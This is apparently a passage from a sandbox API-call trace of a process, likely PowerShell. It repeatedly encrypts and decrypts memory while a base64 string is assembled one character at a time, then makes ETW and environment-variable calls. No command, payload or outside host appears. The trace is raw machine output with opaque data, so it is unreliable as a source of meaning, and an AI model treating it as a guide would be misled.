(param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x66b5\xd811\x2154\x7706\xa893\xe1bc\x6a23\x821b") returned 0x18 [0135.800] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.800] SysStringLen (param_1="RWyYHEISz3NgOOtOawQPb7Y⤓") returned 0x18 [0135.800] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.800] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x6bca\xa6e4\x4564\x8a3a\x667e\xdee1\xc4a5\xb8c") returned 0x18 [0135.800] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x6bca\xa6e4\x4564\x8a3a\x667e\xdee1\xc4a5\xb8c") returned 0x18 [0135.800] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.800] SysStringLen (param_1="RWyYHEISz3NgOOtOawQPb7YA") returned 0x18 [0135.800] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.800] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261") returned 0x18 [0135.800] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261") returned 0x18 [0135.800] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261") returned 0x18 [0135.800] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261") returned 0x20 [0135.800] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.800] SysStringLen (param_1="RWyYHEISz3NgOOtOawQPb7YAc危彐첍犲") returned 0x20 [0135.800] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.800] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\xa965\xb63b\xffe1\xa2b\xbcc\xfb83\xdddf\xb2b9") returned 0x20 [0135.800] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\xa965\xb63b\xffe1\xa2b\xbcc\xfb83\xdddf\xb2b9") returned 0x20 [0135.800] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.801] SysStringLen (param_1="RWyYHEISz3NgOOtOawQPb7YAcN彐첍犲") returned 0x20 [0135.801] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.801] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x621c\xb27\xacaf\xa9c4\xe69d\x68f8\xd372\xa987") returned 0x20 [0135.801] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x621c\xb27\xacaf\xa9c4\xe69d\x68f8\xd372\xa987") returned 0x20 [0135.801] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.801] SysStringLen (param_1="RWyYHEISz3NgOOtOawQPb7YAcNE첍犲") returned 0x20 [0135.801] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.801] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\xb4f2\x22ff\xe46f\x3f25\x56b\x4d81\xcfa6\xe809") returned 0x20 [0135.801] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\xb4f2\x22ff\xe46f\x3f25\x56b\x4d81\xcfa6\xe809") returned 0x20 [0135.801] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.801] SysStringLen (param_1="RWyYHEISz3NgOOtOawQPb7YAcNEy첍犲") returned 0x20 [0135.801] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.801] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x7e81\x689c\x8540\x3f73\x1ed6\xeaac\x1fa0\x29ed") returned 0x20 [0135.801] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x7e81\x689c\x8540\x3f73\x1ed6\xeaac\x1fa0\x29ed") returned 0x20 [0135.801] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.801] SysStringLen (param_1="RWyYHEISz3NgOOtOawQPb7YAcNEy2犲") returned 0x20 [0135.801] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.801] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x7912\xbbfe\x71d5\xe43\xbd1e\xbe0a\x71cf\xfdf3") returned 0x20 [0135.801] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x7912\xbbfe\x71d5\xe43\xbd1e\xbe0a\x71cf\xfdf3") returned 0x20 [0135.801] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.801] SysStringLen (param_1="RWyYHEISz3NgOOtOawQPb7YAcNEy2V犲") returned 0x20 [0135.801] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.802] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x4763\x8ab2\x910e\xc91a\xbdc5\x8d82\x423a\x73b3") returned 0x20 [0135.802] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x4763\x8ab2\x910e\xc91a\xbdc5\x8d82\x423a\x73b3") returned 0x20 [0135.802] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.802] SysStringLen (param_1="RWyYHEISz3NgOOtOawQPb7YAcNEy2VQ犲") returned 0x20 [0135.802] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.802] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x3399\x83c9\xbce1\x279e\x9746\xd974\x2623\xd5e1") returned 0x20 [0135.802] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x3399\x83c9\xbce1\x279e\x9746\xd974\x2623\xd5e1") returned 0x20 [0135.802] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.802] SysStringLen (param_1="RWyYHEISz3NgOOtOawQPb7YAcNEy2VQD") returned 0x20 [0135.802] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.802] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x76b3\xc4bf\x2054\x820\xe6c0\x2400\x501\x61bd") returned 0x20 [0135.802] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x76b3\xc4bf\x2054\x820\xe6c0\x2400\x501\x61bd") returned 0x20 [0135.802] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x76b3\xc4bf\x2054\x820\xe6c0\x2400\x501\x61bd") returned 0x20 [0135.802] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x76b3\xc4bf\x2054\x820\xe6c0\x2400\x501\x61bd\x1a3e") returned 0x28 [0135.802] SystemFunction041 (in: Memory=0x4383d2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d2c) returned 0x0 [0135.802] SysStringLen (param_1="RWyYHEISz3NgOOtOawQPb7YAcNEy2VQDpカ蹼垷굄㈍") returned 0x28 [0135.802] SystemFunction040 (in: Memory=0x4383d2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d2c) returned 0x0 [0135.802] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x76b3\xc4bf\x2054\x820\xe6c0\x2400\x501\x61bd\x9e3\x6674\xbcdb\xd25c\x2d84\xcd62\x26b8\x6dcc") returned 0x28 [0135.802] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x76b3\xc4bf\x2054\x820\xe6c0\x2400\x501\x61bd\x9e3\x6674\xbcdb\xd25c\x2d84\xcd62\x26b8\x6dcc") returned 0x28 [0135.802] SystemFunction041 (in: Memory=0x4383d2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d2c) returned 0x0 [0135.802] SysStringLen (param_1="RWyYHEISz3NgOOtOawQPb7YAcNEy2VQDpJ蹼垷굄㈍") returned 0x28 [0135.802] SystemFunction040 (in: Memory=0x4383d2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d2c) returned 0x0 [0135.803] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x76b3\xc4bf\x2054\x820\xe6c0\x2400\x501\x61bd\x86a8\x928c\x7e20\xf249\x40bb\xe506\x7212\xcd03") returned 0x28 [0135.803] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x76b3\xc4bf\x2054\x820\xe6c0\x2400\x501\x61bd\x86a8\x928c\x7e20\xf249\x40bb\xe506\x7212\xcd03") returned 0x28 [0135.803] SystemFunction041 (in: Memory=0x4383d2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d2c) returned 0x0 [0135.803] SysStringLen (param_1="RWyYHEISz3NgOOtOawQPb7YAcNEy2VQDpJD蹼垷굄㈍") returned 0x28 [0135.803] SystemFunction040 (in: Memory=0x4383d2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d2c) returned 0x0 [0135.803] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x76b3\xc4bf\x2054\x820\xe6c0\x2400\x501\x61bd\xa8de\x589d\x7e25\x1266\x51d3\xeee9\x4fba\x2cc1") returned 0x28 [0135.803] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x76b3\xc4bf\x2054\x820\xe6c0\x2400\x501\x61bd\xa8de\x589d\x7e25\x1266\x51d3\xeee9\x4fba\x2cc1") returned 0x28 [0135.803] SystemFunction041 (in: Memory=0x4383d2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d2c) returned 0x0 [0135.803] SysStringLen (param_1="RWyYHEISz3NgOOtOawQPb7YAcNEy2VQDpJDY蹼垷굄㈍") returned 0x28 [0135.803] SystemFunction040 (in: Memory=0x4383d2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d2c) returned 0x0 [0135.803] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x76b3\xc4bf\x2054\x820\xe6c0\x2400\x501\x61bd\xa334\xbdf6\x8cc6\xcc67\x87d6\xf91\x401f\xb8ec") returned 0x28 [0135.803] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x76b3\xc4bf\x2054\x820\xe6c0\x2400\x501\x61bd\xa334\xbdf6\x8cc6\xcc67\x87d6\xf91\x401f\xb8ec") returned 0x28 [0135.803] SystemFunction041 (in: Memory=0x4383d2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d2c) returned 0x0 [0135.803] SysStringLen (param_1="RWyYHEISz3NgOOtOawQPb7YAcNEy2VQDpJDY/垷굄㈍") returned 0x28 [0135.803] SystemFunction040 (in: Memory=0x4383d2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d2c) returned 0x0 [0135.803] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x76b3\xc4bf\x2054\x820\xe6c0\x2400\x501\x61bd\x7db9\xb63f\x568f\x84d0\x9ecc\x6f99\xe2fd\xfb86") returned 0x28 [0135.803] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x76b3\xc4bf\x2054\x820\xe6c0\x2400\x501\x61bd\x7db9\xb63f\x568f\x84d0\x9ecc\x6f99\xe2fd\xfb86") returned 0x28 [0135.803] SystemFunction041 (in: Memory=0x4383d2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d2c) returned 0x0 [0135.803] SysStringLen (param_1="RWyYHEISz3NgOOtOawQPb7YAcNEy2VQDpJDY/z굄㈍") returned 0x28 [0135.803] SystemFunction040 (in: Memory=0x4383d2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d2c) returned 0x0 [0135.803] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x76b3\xc4bf\x2054\x820\xe6c0\x2400\x501\x61bd\x8a3\xf4e1\x140d\x1ced\x6ea6\x8568\xe557\x667e") returned 0x28 [0135.803] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x76b3\xc4bf\x2054\x820\xe6c0\x2400\x501\x61bd\x8a3\xf4e1\x140d\x1ced\x6ea6\x8568\xe557\x667e") returned 0x28 [0135.803] SystemFunction041 (in: Memory=0x4383d2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d2c) returned 0x0 [0135.803] SysStringLen (param_1="RWyYHEISz3NgOOtOawQPb7YAcNEy2VQDpJDY/zs㈍") returned 0x28 [0135.804] SystemFunction040 (in: Memory=0x4383d2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d2c) returned 0x0 [0135.804] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x76b3\xc4bf\x2054\x820\xe6c0\x2400\x501\x61bd\x68c6\xbd96\xea5c\x7e32\xee60\x79c1\xb46e\x688d") returned 0x28 [0135.804] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x76b3\xc4bf\x2054\x820\xe6c0\x2400\x501\x61bd\x68c6\xbd96\xea5c\x7e32\xee60\x79c1\xb46e\x688d") returned 0x28 [0135.804] SystemFunction041 (in: Memory=0x4383d2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d2c) returned 0x0 [0135.804] SysStringLen (param_1="RWyYHEISz3NgOOtOawQPb7YAcNEy2VQDpJDY/zsh") returned 0x28 [0135.804] SystemFunction040 (in: Memory=0x4383d2c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383d2c) returned 0x0 [0135.804] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x76b3\xc4bf\x2054\x820\xe6c0\x2400\x501\x61bd\xa31f\xabad\xaa6c\x7538\x9f7e\x8a7f\x5c3e\xca51") returned 0x28 [0135.804] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x76b3\xc4bf\x2054\x820\xe6c0\x2400\x501\x61bd\xa31f\xabad\xaa6c\x7538\x9f7e\x8a7f\x5c3e\xca51") returned 0x28 [0135.804] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x76b3\xc4bf\x2054\x820\xe6c0\x2400\x501\x61bd\xa31f\xabad\xaa6c\x7538\x9f7e\x8a7f\x5c3e\xca51") returned 0x28 [0135.804] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x76b3\xc4bf\x2054\x820\xe6c0\x2400\x501\x61bd\xa31f\xabad\xaa6c\x7538\x9f7e\x8a7f\x5c3e\xca51") returned 0x30 [0135.804] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0135.804] SysStringLen (param_1="RWyYHEISz3NgOOtOawQPb7YAcNEy2VQDpJDY/zshvꮇ琾宾黪ᧅ廒") returned 0x30 [0135.804] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0135.804] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x76b3\xc4bf\x2054\x820\xe6c0\x2400\x501\x61bd\xa31f\xabad\xaa6c\x7538\x9f7e\x8a7f\x5c3e\xca51\x9c66\xe20c\xaa58\xe4e\x1367\x62bb\xf2c\xf222") returned 0x30 [0135.804] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x76b3\xc4bf\x2054\x820\xe6c0\x2400\x501\x61bd\xa31f\xabad\xaa6c\x7538\x9f7e\x8a7f\x5c3e\xca51\x9c66\xe20c\xaa58\xe4e\x1367\x62bb\xf2c\xf222") returned 0x30 [0135.804] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0135.804] SysStringLen (param_1="RWyYHEISz3NgOOtOawQPb7YAcNEy2VQDpJDY/zshvS琾宾黪ᧅ廒") returned 0x30 [0135.804] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0135.804] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x76b3\xc4bf\x2054\x820\xe6c0\x2400\x501\x61bd\xa31f\xabad\xaa6c\x7538\x9f7e\x8a7f\x5c3e\xca51\x6765\xae80\x1fe8\xd29d\xcdea\xfa9f\xb9f\x5564") returned 0x30 [0135.804] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x76b3\xc4bf\x2054\x820\xe6c0\x2400\x501\x61bd\xa31f\xabad\xaa6c\x7538\x9f7e\x8a7f\x5c3e\xca51\x6765\xae80\x1fe8\xd29d\xcdea\xfa9f\xb9f\x5564") returned 0x30 [0135.804] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0135.805] SysStringLen (param_1="RWyYHEISz3NgOOtOawQPb7YAcNEy2VQDpJDY/zshvS8琾宾黪ᧅ廒") returned 0x30 [0135.805] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0135.805] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x76b3\xc4bf\x2054\x820\xe6c0\x2400\x501\x61bd\xa31f\xabad\xaa6c\x7538\x9f7e\x8a7f\x5c3e\xca51\x44d\x7bdc\xc33\x87d0\x4917\x8510\xf00a\x5515") returned 0x30 [0135.805] SysStringLen (param_1="\xb46a\xa31\x15c5\x4b03\x49a0\x89b5\x1381\x4f35\x9be3\x736a\xa0a4\x308a\xe0c7\xc3bb\xbf09\x19c0\x261\x535b\x2c18\xdcc5\x84d\xe709\xa405\x4261\x76b3\xc4bf\x2054\x820\xe6c0\x2400\x501\x61bd\xa31f\xabad\xaa6c\x7538\x9f7e\x8a7f\x5c3e\xca51\x44d\x7bdc\xc33\x87d0\x4917\x8510\xf00a\x5515") returned 0x30 [0135.805] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0135.805] SysStringLen (param_1="RWyYHEISz3NgOOtOawQPb7YAcNEy2VQDpJDY/zshvS8=宾黪ᧅ廒") returned 0x30 [0135.805] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0135.805] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.805] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.805] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.805] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: 